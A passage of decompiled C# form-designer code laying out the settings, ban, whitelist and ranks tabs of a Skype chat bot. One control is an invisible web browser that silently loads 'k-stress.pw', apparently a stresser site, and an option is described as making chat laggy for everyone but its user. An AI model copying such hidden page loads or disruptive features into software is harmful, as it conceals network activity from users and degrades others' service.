  1952.             Control arg_8F9_0 = this.FlatButton1;
  1953.             location = new Point(688, 3);
  1954.             arg_8F9_0.Location = location;
  1955.             this.FlatButton1.Name = "FlatButton1";
  1956.             this.FlatButton1.Rounded = false;
  1957.             Control arg_931_0 = this.FlatButton1;
  1958.             size = new Size(30, 33);
  1959.             arg_931_0.Size = size;
  1960.             this.FlatButton1.TabIndex = 17;
  1961.             this.FlatButton1.Text = "_";
  1962.             this.FlatButton1.TextColor = Color.FromArgb(211, 211, 211);
  1963.             this.FlatTabControl1.ActiveColor = Color.Firebrick;
  1964.             this.FlatTabControl1.BaseColor = Color.FromArgb(30, 30, 30);
  1965.             this.FlatTabControl1.Controls.Add(this.Settings);
  1966.             this.FlatTabControl1.Controls.Add(this.Log);
  1967.             this.FlatTabControl1.Controls.Add(this.Admins);
  1968.             this.FlatTabControl1.Controls.Add(this.IPWhitelist);
  1969.             this.FlatTabControl1.Controls.Add(this.TabPage1);
  1970.             this.FlatTabControl1.Controls.Add(this.TabPage2);
  1971.             this.FlatTabControl1.Font = new Font("Segoe UI", 10f);
  1972.             TabControl arg_A57_0 = this.FlatTabControl1;
  1973.             size = new Size(120, 40);
  1974.             arg_A57_0.ItemSize = size;
  1975.             Control arg_A70_0 = this.FlatTabControl1;
  1976.             location = new Point(12, 58);
  1977.             arg_A70_0.Location = location;
  1978.             this.FlatTabControl1.Name = "FlatTabControl1";
  1979.             this.FlatTabControl1.SelectedIndex = 0;
  1980.             Control arg_AAE_0 = this.FlatTabControl1;
  1981.             size = new Size(747, 553);
  1982.             arg_AAE_0.Size = size;
  1983.             this.FlatTabControl1.SizeMode = TabSizeMode.Fixed;
  1984.             this.FlatTabControl1.TabIndex = 3;
  1985.             this.Settings.BackColor = Color.FromArgb(40, 40, 40);
  1986.             this.Settings.Controls.Add(this.WebBrowser1);
  1987.             this.Settings.Controls.Add(this.FlatButton4);
  1988.             this.Settings.Controls.Add(this.FlatNumeric1);
  1989.             this.Settings.Controls.Add(this.FlatLabel9);
  1990.             this.Settings.Controls.Add(this.FlatGroupBox2);
  1991.             this.Settings.Controls.Add(this.CheckBox6);
  1992.             this.Settings.Controls.Add(this.FlatLabel2);
  1993.             this.Settings.Controls.Add(this.FlatLabel7);
  1994.             this.Settings.Controls.Add(this.FlatLabel6);
  1995.             this.Settings.Controls.Add(this.FlatToggle2);
  1996.             this.Settings.Controls.Add(this.FlatToggle1);
  1997.             this.Settings.Controls.Add(this.FlatLabel3);
  1998.             this.Settings.Controls.Add(this.Button9);
  1999.             this.Settings.Controls.Add(this.Button6);
  2000.             this.Settings.Controls.Add(this.GroupBox1);
  2001.             this.Settings.Controls.Add(this.FlatGroupBox1);
  2002.             this.Settings.Controls.Add(this.Button7);
  2003.             this.Settings.Controls.Add(this.CheckBox1);
  2004.             this.Settings.Controls.Add(this.FlatLabel15);
  2005.             TabPage arg_CAC_0 = this.Settings;
  2006.             location = new Point(4, 44);
  2007.             arg_CAC_0.Location = location;
  2008.             this.Settings.Name = "Settings";
  2009.             Control arg_CD4_0 = this.Settings;
  2010.             Padding padding = new Padding(3);
  2011.             arg_CD4_0.Padding = padding;
  2012.             Control arg_CF4_0 = this.Settings;
  2013.             size = new Size(739, 505);
  2014.             arg_CF4_0.Size = size;
  2015.             this.Settings.TabIndex = 0;
  2016.             this.Settings.Text = "Settings";
  2017.             this.WebBrowser1.CausesValidation = false;
  2018.             Control arg_D3E_0 = this.WebBrowser1;
  2019.             location = new Point(790, 157);
  2020.             arg_D3E_0.Location = location;
  2021.             Control arg_D58_0 = this.WebBrowser1;
  2022.             size = new Size(20, 20);
  2023.             arg_D58_0.MinimumSize = size;
  2024.             this.WebBrowser1.Name = "WebBrowser1";
  2025.             this.WebBrowser1.ScriptErrorsSuppressed = true;
  2026.             Control arg_D96_0 = this.WebBrowser1;
  2027.             size = new Size(188, 250);
  2028.             arg_D96_0.Size = size;
  2029.             this.WebBrowser1.TabIndex = 3;
  2030.             this.WebBrowser1.Url = new Uri("https://k-stress.pw", UriKind.Absolute);
  2031.             this.WebBrowser1.Visible = false;
  2032.             this.WebBrowser1.WebBrowserShortcutsEnabled = false;
  2033.             this.FlatButton4.BackColor = Color.Transparent;
  2034.             this.FlatButton4.BaseColor = Color.FromArgb(30, 30, 30);
  2035.             this.FlatButton4.Cursor = Cursors.Hand;
  2036.             this.FlatButton4.Font = new Font("Segoe UI", 12f);
  2037.             Control arg_E47_0 = this.FlatButton4;
  2038.             location = new Point(435, 465);
  2039.             arg_E47_0.Location = location;
  2040.             this.FlatButton4.Name = "FlatButton4";
  2041.             this.FlatButton4.Rounded = false;
  2042.             Control arg_E7F_0 = this.FlatButton4;
  2043.             size = new Size(49, 32);
  2044.             arg_E7F_0.Size = size;
  2045.             this.FlatButton4.TabIndex = 39;
  2046.             this.FlatButton4.Text = "EULA";
  2047.             this.FlatButton4.TextColor = Color.FromArgb(211, 211, 211);
  2048.             NumericUpDown arg_EF2_0 = this.FlatNumeric1;
  2049.             decimal num = new decimal(new int[]
  2050.             {
  2051.                 5,
  2052.                 0,
  2053.                 0,
  2054.                 0
  2055.             });
  2056.             arg_EF2_0.Increment = num;
  2057.             Control arg_F11_0 = this.FlatNumeric1;
  2058.             location = new Point(490, 280);
  2059.             arg_F11_0.Location = location;
  2060.             NumericUpDown arg_F49_0 = this.FlatNumeric1;
  2061.             num = new decimal(new int[]
  2062.             {
  2063.                 10000,
  2064.                 0,
  2065.                 0,
  2066.                 0
  2067.             });
  2068.             arg_F49_0.Maximum = num;
  2069.             NumericUpDown arg_F7D_0 = this.FlatNumeric1;
  2070.             num = new decimal(new int[]
  2071.             {
  2072.                 5,
  2073.                 0,
  2074.                 0,
  2075.                 0
  2076.             });
  2077.             arg_F7D_0.Minimum = num;
  2078.             this.FlatNumeric1.Name = "FlatNumeric1";
  2079.             Control arg_FA8_0 = this.FlatNumeric1;
  2080.             size = new Size(63, 25);
  2081.             arg_FA8_0.Size = size;
  2082.             this.FlatNumeric1.TabIndex = 38;
  2083.             NumericUpDown arg_FEB_0 = this.FlatNumeric1;
  2084.             num = new decimal(new int[]
  2085.             {
  2086.                 20,
  2087.                 0,
  2088.                 0,
  2089.                 0
  2090.             });
  2091.             arg_FEB_0.Value = num;
  2092.             this.FlatLabel9.AutoSize = true;
  2093.             this.FlatLabel9.BackColor = Color.Transparent;
  2094.             this.FlatLabel9.Font = new Font("Segoe UI", 8f);
  2095.             this.FlatLabel9.ForeColor = Color.FromArgb(211, 211, 211);
  2096.             Control arg_1063_0 = this.FlatLabel9;
  2097.             location = new Point(479, 291);
  2098.             arg_1063_0.Location = location;
  2099.             this.FlatLabel9.Name = "FlatLabel9";
  2100.             Control arg_1091_0 = this.FlatLabel9;
  2101.             size = new Size(228, 39);
  2102.             arg_1091_0.Size = size;
  2103.             this.FlatLabel9.TabIndex = 37;
  2104.             this.FlatLabel9.Text = "                          ms to take to write 1 char if \r\n\"AddSwagToMSG\" is enabled\r\n1 second = 1000ms\r\n";
  2105.             this.FlatGroupBox2.BackColor = Color.Transparent;
  2106.             this.FlatGroupBox2.BaseColor = Color.FromArgb(30, 30, 30);
  2107.             this.FlatGroupBox2.Controls.Add(this.Button5);
  2108.             this.FlatGroupBox2.Controls.Add(this.TextBox3);
  2109.             this.FlatGroupBox2.Font = new Font("Segoe UI", 10f);
  2110.             Control arg_1140_0 = this.FlatGroupBox2;
  2111.             location = new Point(473, 331);
  2112.             arg_1140_0.Location = location;
  2113.             this.FlatGroupBox2.Name = "FlatGroupBox2";
  2114.             this.FlatGroupBox2.ShowText = true;
  2115.             Control arg_117E_0 = this.FlatGroupBox2;
  2116.             size = new Size(260, 171);
  2117.             arg_117E_0.Size = size;
  2118.             this.FlatGroupBox2.TabIndex = 26;
  2119.             this.FlatGroupBox2.Text = "Whitelist";
  2120.             this.Button5.BackColor = Color.Transparent;
  2121.             this.Button5.BaseColor = Color.FromArgb(30, 30, 30);
  2122.             this.Button5.Cursor = Cursors.Hand;
  2123.             this.Button5.Font = new Font("Segoe UI", 9.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
  2124.             Control arg_1210_0 = this.Button5;
  2125.             location = new Point(394, 17);
  2126.             arg_1210_0.Location = location;
  2127.             this.Button5.Name = "Button5";
  2128.             this.Button5.Rounded = false;
  2129.             Control arg_1248_0 = this.Button5;
  2130.             size = new Size(31, 20);
  2131.             arg_1248_0.Size = size;
  2132.             this.Button5.TabIndex = 1;
  2133.             this.Button5.Text = "| ? |";
  2134.             this.Button5.TextColor = Color.FromArgb(211, 211, 211);
  2135.             this.TextBox3.BackColor = Color.Transparent;
  2136.             Control arg_12B0_0 = this.TextBox3;
  2137.             location = new Point(17, 41);
  2138.             arg_12B0_0.Location = location;
  2139.             this.TextBox3.MaxLength = 32767;
  2140.             this.TextBox3.Multiline = true;
  2141.             this.TextBox3.Name = "TextBox3";
  2142.             this.TextBox3.ReadOnly = false;
  2143.             Control arg_1309_0 = this.TextBox3;
  2144.             size = new Size(229, 111);
  2145.             arg_1309_0.Size = size;
  2146.             this.TextBox3.TabIndex = 0;
  2147.             this.TextBox3.Text = "%everyone%";
  2148.             this.TextBox3.TextAlign = HorizontalAlignment.Left;
  2149.             this.TextBox3.TextColor = Color.FromArgb(211, 211, 211);
  2150.             this.TextBox3.UseSystemPasswordChar = false;
  2151.             this.CheckBox6.AutoSize = true;
  2152.             this.CheckBox6.Checked = true;
  2153.             this.CheckBox6.CheckState = CheckState.Checked;
  2154.             Control arg_13A7_0 = this.CheckBox6;
  2155.             location = new Point(604, 130);
  2156.             arg_13A7_0.Location = location;
  2157.             this.CheckBox6.Name = "CheckBox6";
  2158.             Control arg_13D2_0 = this.CheckBox6;
  2159.             size = new Size(15, 14);
  2160.             arg_13D2_0.Size = size;
  2161.             this.CheckBox6.TabIndex = 33;
  2162.             this.CheckBox6.UseVisualStyleBackColor = true;
  2163.             this.FlatLabel2.AutoSize = true;
  2164.             this.FlatLabel2.BackColor = Color.Transparent;
  2165.             this.FlatLabel2.Font = new Font("Segoe UI", 8f);
  2166.             this.FlatLabel2.ForeColor = Color.FromArgb(211, 211, 211);
  2167.             Control arg_1465_0 = this.FlatLabel2;
  2168.             location = new Point(615, 130);
  2169.             arg_1465_0.Location = location;
  2170.             this.FlatLabel2.Name = "FlatLabel2";
  2171.             Control arg_1490_0 = this.FlatLabel2;
  2172.             size = new Size(105, 13);
  2173.             arg_1490_0.Size = size;
  2174.             this.FlatLabel2.TabIndex = 32;
  2175.             this.FlatLabel2.Text = "Enable/Disable bot";
  2176.             this.FlatLabel7.AutoSize = true;
  2177.             this.FlatLabel7.BackColor = Color.Transparent;
  2178.             this.FlatLabel7.Font = new Font("Segoe UI", 8f);
  2179.             this.FlatLabel7.ForeColor = Color.FromArgb(211, 211, 211);
  2180.             Control arg_1527_0 = this.FlatLabel7;
  2181.             location = new Point(569, 230);
  2182.             arg_1527_0.Location = location;
  2183.             this.FlatLabel7.Name = "FlatLabel7";
  2184.             Control arg_1555_0 = this.FlatLabel7;
  2185.             size = new Size(135, 13);
  2186.             arg_1555_0.Size = size;
  2187.             this.FlatLabel7.TabIndex = 31;
  2188.             this.FlatLabel7.Text = "Ultimate/Premium system";
  2189.             this.FlatLabel6.AutoSize = true;
  2190.             this.FlatLabel6.BackColor = Color.Transparent;
  2191.             this.FlatLabel6.Font = new Font("Segoe UI", 8f);
  2192.             this.FlatLabel6.ForeColor = Color.FromArgb(211, 211, 211);
  2193.             Control arg_15EC_0 = this.FlatLabel6;
  2194.             location = new Point(569, 192);
  2195.             arg_15EC_0.Location = location;
  2196.             this.FlatLabel6.Name = "FlatLabel6";
  2197.             Control arg_161A_0 = this.FlatLabel6;
  2198.             size = new Size(153, 13);
  2199.             arg_161A_0.Size = size;
  2200.             this.FlatLabel6.TabIndex = 4;
  2201.             this.FlatLabel6.Text = "Auto Accept F/R (Skype V5.5)\r\n";
  2202.             this.FlatToggle2.BackColor = Color.Transparent;
  2203.             this.FlatToggle2.Checked = false;
  2204.             this.FlatToggle2.Cursor = Cursors.Hand;
  2205.             this.FlatToggle2.Font = new Font("Segoe UI", 10f);
  2206.             Control arg_16A1_0 = this.FlatToggle2;
  2207.             location = new Point(487, 221);
  2208.             arg_16A1_0.Location = location;
  2209.             this.FlatToggle2.Name = "FlatToggle2";
  2210.             this.FlatToggle2.Options = FlatToggle._Options.Style1;
  2211.             Control arg_16D9_0 = this.FlatToggle2;
  2212.             size = new Size(76, 33);
  2213.             arg_16D9_0.Size = size;
  2214.             this.FlatToggle2.TabIndex = 30;
  2215.             this.FlatToggle2.Text = "FlatToggle2";
  2216.             this.FlatToggle1.BackColor = Color.Transparent;
  2217.             this.FlatToggle1.Checked = true;
  2218.             this.FlatToggle1.Cursor = Cursors.Hand;
  2219.             this.FlatToggle1.Font = new Font("Segoe UI", 10f);
  2220.             Control arg_1761_0 = this.FlatToggle1;
  2221.             location = new Point(487, 182);
  2222.             arg_1761_0.Location = location;
  2223.             this.FlatToggle1.Name = "FlatToggle1";
  2224.             this.FlatToggle1.Options = FlatToggle._Options.Style1;
  2225.             Control arg_1799_0 = this.FlatToggle1;
  2226.             size = new Size(76, 33);
  2227.             arg_1799_0.Size = size;
  2228.             this.FlatToggle1.TabIndex = 29;
  2229.             this.FlatToggle1.Text = "FlatToggle1";
  2230.             this.FlatLabel3.AutoSize = true;
  2231.             this.FlatLabel3.BackColor = Color.Transparent;
  2232.             this.FlatLabel3.Font = new Font("Segoe UI", 8f);
  2233.             this.FlatLabel3.ForeColor = Color.FromArgb(211, 211, 211);
  2234.             Control arg_182C_0 = this.FlatLabel3;
  2235.             location = new Point(1, 469);
  2236.             arg_182C_0.Location = location;
  2237.             this.FlatLabel3.Name = "FlatLabel3";
  2238.             Control arg_185A_0 = this.FlatLabel3;
  2239.             size = new Size(145, 26);
  2240.             arg_185A_0.Size = size;
  2241.             this.FlatLabel3.TabIndex = 20;
  2242.             this.FlatLabel3.Text = "Programmer: CallofCyandic\r\nTheme edited by: WSZ";
  2243.             this.Button9.BackColor = Color.Transparent;
  2244.             this.Button9.BaseColor = Color.FromArgb(30, 30, 30);
  2245.             this.Button9.Cursor = Cursors.Hand;
  2246.             this.Button9.Font = new Font("Segoe UI", 12f);
  2247.             Control arg_18EC_0 = this.Button9;
  2248.             location = new Point(330, 465);
  2249.             arg_18EC_0.Location = location;
  2250.             this.Button9.Name = "Button9";
  2251.             this.Button9.Rounded = false;
  2252.             Control arg_1924_0 = this.Button9;
  2253.             size = new Size(106, 32);
  2254.             arg_1924_0.Size = size;
  2255.             this.Button9.TabIndex = 25;
  2256.             this.Button9.Text = "Force Update";
  2257.             this.Button9.TextColor = Color.FromArgb(211, 211, 211);
  2258.             this.Button6.BackColor = Color.Transparent;
  2259.             this.Button6.BaseColor = Color.FromArgb(30, 30, 30);
  2260.             this.Button6.Cursor = Cursors.Hand;
  2261.             this.Button6.Font = new Font("Segoe UI", 12f);
  2262.             Control arg_19D6_0 = this.Button6;
  2263.             location = new Point(212, 465);
  2264.             arg_19D6_0.Location = location;
  2265.             this.Button6.Name = "Button6";
  2266.             this.Button6.Rounded = false;
  2267.             Control arg_1A0E_0 = this.Button6;
  2268.             size = new Size(120, 32);
  2269.             arg_1A0E_0.Size = size;
  2270.             this.Button6.TabIndex = 22;
  2271.             this.Button6.Text = "CHANGELOG";
  2272.             this.Button6.TextColor = Color.FromArgb(211, 211, 211);
  2273.             this.GroupBox1.BackColor = Color.Transparent;
  2274.             this.GroupBox1.BaseColor = Color.FromArgb(30, 30, 30);
  2275.             this.GroupBox1.Controls.Add(this.Button4);
  2276.             this.GroupBox1.Controls.Add(this.Button2);
  2277.             this.GroupBox1.Controls.Add(this.Button1);
  2278.             this.GroupBox1.Controls.Add(this.TextBox1);
  2279.             this.GroupBox1.Font = new Font("Segoe UI", 10f);
  2280.             Control arg_1B07_0 = this.GroupBox1;
  2281.             location = new Point(456, 7);
  2282.             arg_1B07_0.Location = location;
  2283.             this.GroupBox1.Name = "GroupBox1";
  2284.             this.GroupBox1.ShowText = true;
  2285.             Control arg_1B42_0 = this.GroupBox1;
  2286.             size = new Size(283, 119);
  2287.             arg_1B42_0.Size = size;
  2288.             this.GroupBox1.TabIndex = 16;
  2289.             this.GroupBox1.Text = "Ban";
  2290.             this.Button4.BackColor = Color.Transparent;
  2291.             this.Button4.BaseColor = Color.FromArgb(30, 30, 30);
  2292.             this.Button4.Cursor = Cursors.Hand;
  2293.             this.Button4.Font = new Font("Segoe UI", 12f);
  2294.             Control arg_1BCE_0 = this.Button4;
  2295.             location = new Point(91, 73);
  2296.             arg_1BCE_0.Location = location;
  2297.             this.Button4.Name = "Button4";
  2298.             this.Button4.Rounded = false;
  2299.             Control arg_1C06_0 = this.Button4;
  2300.             size = new Size(106, 32);
  2301.             arg_1C06_0.Size = size;
  2302.             this.Button4.TabIndex = 4;
  2303.             this.Button4.Text = "Show All ";
  2304.             this.Button4.TextColor = Color.FromArgb(211, 211, 211);
  2305.             this.Button2.BackColor = Color.Transparent;
  2306.             this.Button2.BaseColor = Color.FromArgb(30, 30, 30);
  2307.             this.Button2.Cursor = Cursors.Hand;
  2308.             this.Button2.Font = new Font("Segoe UI", 12f);
  2309.             Control arg_1CB4_0 = this.Button2;
  2310.             location = new Point(200, 73);
  2311.             arg_1CB4_0.Location = location;
  2312.             this.Button2.Name = "Button2";
  2313.             this.Button2.Rounded = false;
  2314.             Control arg_1CEC_0 = this.Button2;
  2315.             size = new Size(66, 32);
  2316.             arg_1CEC_0.Size = size;
  2317.             this.Button2.TabIndex = 3;
  2318.             this.Button2.Text = "Unban";
  2319.             this.Button2.TextColor = Color.FromArgb(211, 211, 211);
  2320.             this.Button1.BackColor = Color.Transparent;
  2321.             this.Button1.BaseColor = Color.FromArgb(30, 30, 30);
  2322.             this.Button1.Cursor = Cursors.Hand;
  2323.             this.Button1.Font = new Font("Segoe UI", 12f);
  2324.             Control arg_1D97_0 = this.Button1;
  2325.             location = new Point(17, 73);
  2326.             arg_1D97_0.Location = location;
  2327.             this.Button1.Name = "Button1";
  2328.             this.Button1.Rounded = false;
  2329.             Control arg_1DCF_0 = this.Button1;
  2330.             size = new Size(68, 32);
  2331.             arg_1DCF_0.Size = size;
  2332.             this.Button1.TabIndex = 2;
  2333.             this.Button1.Text = "Ban";
  2334.             this.Button1.TextColor = Color.FromArgb(211, 211, 211);
  2335.             Control arg_1E26_0 = this.TextBox1;
  2336.             location = new Point(17, 42);
  2337.             arg_1E26_0.Location = location;
  2338.             this.TextBox1.Name = "TextBox1";
  2339.             Control arg_1E54_0 = this.TextBox1;
  2340.             size = new Size(249, 25);
  2341.             arg_1E54_0.Size = size;
  2342.             this.TextBox1.TabIndex = 0;
  2343.             this.FlatGroupBox1.BackColor = Color.Transparent;
  2344.             this.FlatGroupBox1.BaseColor = Color.FromArgb(30, 30, 30);
  2345.             this.FlatGroupBox1.Controls.Add(this.TextBox2);
  2346.             this.FlatGroupBox1.Controls.Add(this.Button3);
  2347.             this.FlatGroupBox1.Font = new Font("Segoe UI", 10f);
  2348.             Control arg_1EE9_0 = this.FlatGroupBox1;
  2349.             location = new Point(6, 6);
  2350.             arg_1EE9_0.Location = location;
  2351.             this.FlatGroupBox1.Name = "FlatGroupBox1";
  2352.             this.FlatGroupBox1.ShowText = true;
  2353.             Control arg_1F27_0 = this.FlatGroupBox1;
  2354.             size = new Size(437, 460);
  2355.             arg_1F27_0.Size = size;
  2356.             this.FlatGroupBox1.TabIndex = 17;
  2357.             this.FlatGroupBox1.Text = "Help Message";
  2358.             this.TextBox2.BackColor = Color.Transparent;
  2359.             this.TextBox2.ImeMode = ImeMode.NoControl;
  2360.             Control arg_1F7D_0 = this.TextBox2;
  2361.             location = new Point(18, 42);
  2362.             arg_1F7D_0.Location = location;
  2363.             this.TextBox2.MaxLength = 999999999;
  2364.             this.TextBox2.Multiline = true;
  2365.             this.TextBox2.Name = "TextBox2";
  2366.             this.TextBox2.ReadOnly = false;
  2367.             Control arg_1FD9_0 = this.TextBox2;
  2368.             size = new Size(402, 359);
  2369.             arg_1FD9_0.Size = size;
  2370.             this.TextBox2.TabIndex = 3;
  2371.             this.TextBox2.TextAlign = HorizontalAlignment.Left;
  2372.             this.TextBox2.TextColor = Color.FromArgb(211, 211, 211);
  2373.             this.TextBox2.UseSystemPasswordChar = false;
  2374.             this.Button3.BackColor = Color.Transparent;
  2375.             this.Button3.BaseColor = Color.FromArgb(30, 30, 30);
  2376.             this.Button3.Cursor = Cursors.Hand;
  2377.             this.Button3.Font = new Font("Segoe UI", 12f);
  2378.             Control arg_2090_0 = this.Button3;
  2379.             location = new Point(18, 407);
  2380.             arg_2090_0.Location = location;
  2381.             this.Button3.Name = "Button3";
  2382.             this.Button3.Rounded = false;
  2383.             Control arg_20CB_0 = this.Button3;
  2384.             size = new Size(380, 32);
  2385.             arg_20CB_0.Size = size;
  2386.             this.Button3.TabIndex = 2;
  2387.             this.Button3.Text = "SAVE";
  2388.             this.Button3.TextColor = Color.FromArgb(211, 211, 211);
  2389.             this.Button7.BackColor = Color.Transparent;
  2390.             this.Button7.BaseColor = Color.FromArgb(30, 30, 30);
  2391.             this.Button7.Cursor = Cursors.Hand;
  2392.             this.Button7.Font = new Font("Segoe UI", 12f);
  2393.             Control arg_217C_0 = this.Button7;
  2394.             location = new Point(147, 465);
  2395.             arg_217C_0.Location = location;
  2396.             this.Button7.Name = "Button7";
  2397.             this.Button7.Rounded = false;
  2398.             Control arg_21B4_0 = this.Button7;
  2399.             size = new Size(66, 32);
  2400.             arg_21B4_0.Size = size;
  2401.             this.Button7.TabIndex = 23;
  2402.             this.Button7.Text = "Update";
  2403.             this.Button7.TextColor = Color.FromArgb(211, 211, 211);
  2404.             this.CheckBox1.AutoSize = true;
  2405.             Control arg_221F_0 = this.CheckBox1;
  2406.             location = new Point(487, 132);
  2407.             arg_221F_0.Location = location;
  2408.             this.CheckBox1.Name = "CheckBox1";
  2409.             Control arg_224A_0 = this.CheckBox1;
  2410.             size = new Size(15, 14);
  2411.             arg_224A_0.Size = size;
  2412.             this.CheckBox1.TabIndex = 34;
  2413.             this.CheckBox1.UseVisualStyleBackColor = true;
  2414.             this.FlatLabel15.AutoSize = true;
  2415.             this.FlatLabel15.BackColor = Color.Transparent;
  2416.             this.FlatLabel15.Font = new Font("Segoe UI", 8f);
  2417.             this.FlatLabel15.ForeColor = Color.FromArgb(211, 211, 211);
  2418.             Control arg_22DD_0 = this.FlatLabel15;
  2419.             location = new Point(500, 131);
  2420.             arg_22DD_0.Location = location;
  2421.             this.FlatLabel15.Name = "FlatLabel15";
  2422.             Control arg_230B_0 = this.FlatLabel15;
  2423.             size = new Size(153, 26);
  2424.             arg_230B_0.Size = size;
  2425.             this.FlatLabel15.TabIndex = 35;
  2426.             this.FlatLabel15.Text = "AddSwagToMSG\r\n(Laggy for everyone but you)";
  2427.             this.Log.BackColor = Color.FromArgb(40, 40, 40);
  2428.             this.Log.Controls.Add(this.ListBox1);
  2429.             TabPage arg_2370_0 = this.Log;
  2430.             location = new Point(4, 44);
  2431.             arg_2370_0.Location = location;
  2432.             this.Log.Name = "Log";
  2433.             Control arg_2398_0 = this.Log;
  2434.             padding = new Padding(3);
  2435.             arg_2398_0.Padding = padding;
  2436.             Control arg_23B8_0 = this.Log;
  2437.             size = new Size(739, 505);
  2438.             arg_23B8_0.Size = size;
  2439.             this.Log.TabIndex = 1;
  2440.             this.Log.Text = "Log";
  2441.             this.ListBox1.FormattingEnabled = true;
  2442.             this.ListBox1.ItemHeight = 17;
  2443.             Control arg_2408_0 = this.ListBox1;
  2444.             location = new Point(0, 0);
  2445.             arg_2408_0.Location = location;
  2446.             this.ListBox1.Name = "ListBox1";
  2447.             Control arg_2439_0 = this.ListBox1;
  2448.             size = new Size(736, 463);
  2449.             arg_2439_0.Size = size;
  2450.             this.ListBox1.TabIndex = 0;
  2451.             this.Admins.BackColor = Color.FromArgb(40, 40, 40);
  2452.             this.Admins.Controls.Add(this.Panel1);
  2453.             TabPage arg_248C_0 = this.Admins;
  2454.             location = new Point(4, 44);
  2455.             arg_248C_0.Location = location;
  2456.             this.Admins.Name = "Admins";
  2457.             Control arg_24B4_0 = this.Admins;
  2458.             padding = new Padding(3);
  2459.             arg_24B4_0.Padding = padding;
  2460.             Control arg_24D4_0 = this.Admins;
  2461.             size = new Size(739, 505);
  2462.             arg_24D4_0.Size = size;
  2463.             this.Admins.TabIndex = 2;
  2464.             this.Admins.Text = "Ranks";
  2465.             this.Panel1.AutoScroll = true;
  2466.             this.Panel1.Controls.Add(this.FlatLabel18);
  2467.             this.Panel1.Controls.Add(this.FlatLabel12);
  2468.             this.Panel1.Controls.Add(this.Button14);
  2469.             this.Panel1.Controls.Add(this.TextBox6);
  2470.             this.Panel1.Controls.Add(this.FlatLabel17);
  2471.             this.Panel1.Controls.Add(this.FlatLabel16);
  2472.             this.Panel1.Controls.Add(this.FlatLabel10);
  2473.             this.Panel1.Controls.Add(this.Button13);
  2474.             this.Panel1.Controls.Add(this.TextBox5);
  2475.             this.Panel1.Controls.Add(this.FlatLabel11);
  2476.             this.Panel1.Controls.Add(this.Button12);
  2477.             this.Panel1.Controls.Add(this.TextBox4);
  2478.             Control arg_262A_0 = this.Panel1;
  2479.             location = new Point(3, 3);
  2480.             arg_262A_0.Location = location;
  2481.             this.Panel1.Name = "Panel1";
  2482.             Control arg_265B_0 = this.Panel1;
  2483.             size = new Size(740, 502);
  2484.             arg_265B_0.Size = size;
  2485.             this.Panel1.TabIndex = 0;
  2486.             this.FlatLabel18.AutoSize = true;
  2487.             this.FlatLabel18.BackColor = Color.Transparent;
  2488.             this.FlatLabel18.Font = new Font("Segoe UI", 8f);
  2489.             this.FlatLabel18.ForeColor = Color.FromArgb(211, 211, 211);
  2490.             Control arg_26DC_0 = this.FlatLabel18;
  2491.             location = new Point(608, 7);
  2492.             arg_26DC_0.Location = location;
  2493.             this.FlatLabel18.Name = "FlatLabel18";
  2494.             Control arg_2707_0 = this.FlatLabel18;
  2495.             size = new Size(58, 13);
  2496.             arg_2707_0.Size = size;
  2497.             this.FlatLabel18.TabIndex = 17;
  2498.             this.FlatLabel18.Text = "Ultimates:";
  2499.             this.FlatLabel12.AutoSize = true;
  2500.             this.FlatLabel12.BackColor = Color.Transparent;
  2501.             this.FlatLabel12.Font = new Font("Segoe UI", 8f);
  2502.             this.FlatLabel12.ForeColor = Color.FromArgb(211, 211, 211);
  2503.             Control arg_279A_0 = this.FlatLabel12;
  2504.             location = new Point(419, 7);
  2505.             arg_279A_0.Location = location;
  2506.             this.FlatLabel12.Name = "FlatLabel12";
  2507.             Control arg_27C5_0 = this.FlatLabel12;
  2508.             size = new Size(58, 13);
  2509.             arg_27C5_0.Size = size;
  2510.             this.FlatLabel12.TabIndex = 16;
  2511.             this.FlatLabel12.Text = "yourname";
  2512.             this.Button14.BackColor = Color.Transparent;
  2513.             this.Button14.BaseColor = Color.FromArgb(30, 30, 30);
  2514.             this.Button14.Cursor = Cursors.Hand;
  2515.             this.Button14.Font = new Font("Segoe UI", 12f);
  2516.             Control arg_2857_0 = this.Button14;
  2517.             location = new Point(364, 423);
  2518.             arg_2857_0.Location = location;
  2519.             this.Button14.Name = "Button14";
  2520.             this.Button14.Rounded = false;
  2521.             Control arg_2892_0 = this.Button14;
  2522.             size = new Size(355, 32);
  2523.             arg_2892_0.Size = size;
  2524.             this.Button14.TabIndex = 15;
  2525.             this.Button14.Text = "Save";
  2526.             this.Button14.TextColor = Color.FromArgb(211, 211, 211);
  2527.             this.TextBox6.BackColor = Color.Transparent;
  2528.             Control arg_28FE_0 = this.TextBox6;
  2529.             location = new Point(364, 21);
  2530.             arg_28FE_0.Location = location;
  2531.             this.TextBox6.MaxLength = 32767;
  2532.             this.TextBox6.Multiline = true;
  2533.             this.TextBox6.Name = "TextBox6";
  2534.             this.TextBox6.ReadOnly = false;
  2535.             Control arg_295A_0 = this.TextBox6;
  2536.             size = new Size(355, 400);
  2537.             arg_295A_0.Size = size;
  2538.             this.TextBox6.TabIndex = 14;
  2539.             this.TextBox6.TextAlign = HorizontalAlignment.Left;
  2540.             this.TextBox6.TextColor = Color.FromArgb(211, 211, 211);
  2541.             this.TextBox6.UseSystemPasswordChar = false;
  2542.             this.FlatLabel17.AutoSize = true;
  2543.             this.FlatLabel17.BackColor = Color.Transparent;
  2544.             this.FlatLabel17.Font = new Font("Segoe UI", 8f);
  2545.             this.FlatLabel17.ForeColor = Color.FromArgb(211, 211, 211);
  2546.             Control arg_2A16_0 = this.FlatLabel17;
  2547.             location = new Point(140, 7);
  2548.             arg_2A16_0.Location = location;
  2549.             this.FlatLabel17.Name = "FlatLabel17";
  2550.             Control arg_2A41_0 = this.FlatLabel17;
  2551.             size = new Size(48, 13);
  2552.             arg_2A41_0.Size = size;
  2553.             this.FlatLabel17.TabIndex = 13;
  2554.             this.FlatLabel17.Text = "Admins:";
  2555.             this.FlatLabel16.AutoSize = true;
  2556.             this.FlatLabel16.BackColor = Color.Transparent;
  2557.             this.FlatLabel16.Font = new Font("Segoe UI", 8f);
  2558.             this.FlatLabel16.ForeColor = Color.FromArgb(211, 211, 211);
  2559.             Control arg_2AD8_0 = this.FlatLabel16;
  2560.             location = new Point(140, 472);
  2561.             arg_2AD8_0.Location = location;
  2562.             this.FlatLabel16.Name = "FlatLabel16";
  2563.             Control arg_2B03_0 = this.FlatLabel16;
  2564.             size = new Size(59, 13);
  2565.             arg_2B03_0.Size = size;
  2566.             this.FlatLabel16.TabIndex = 12;
  2567.             this.FlatLabel16.Text = "Premiums:";
  2568.             this.FlatLabel10.AutoSize = true;
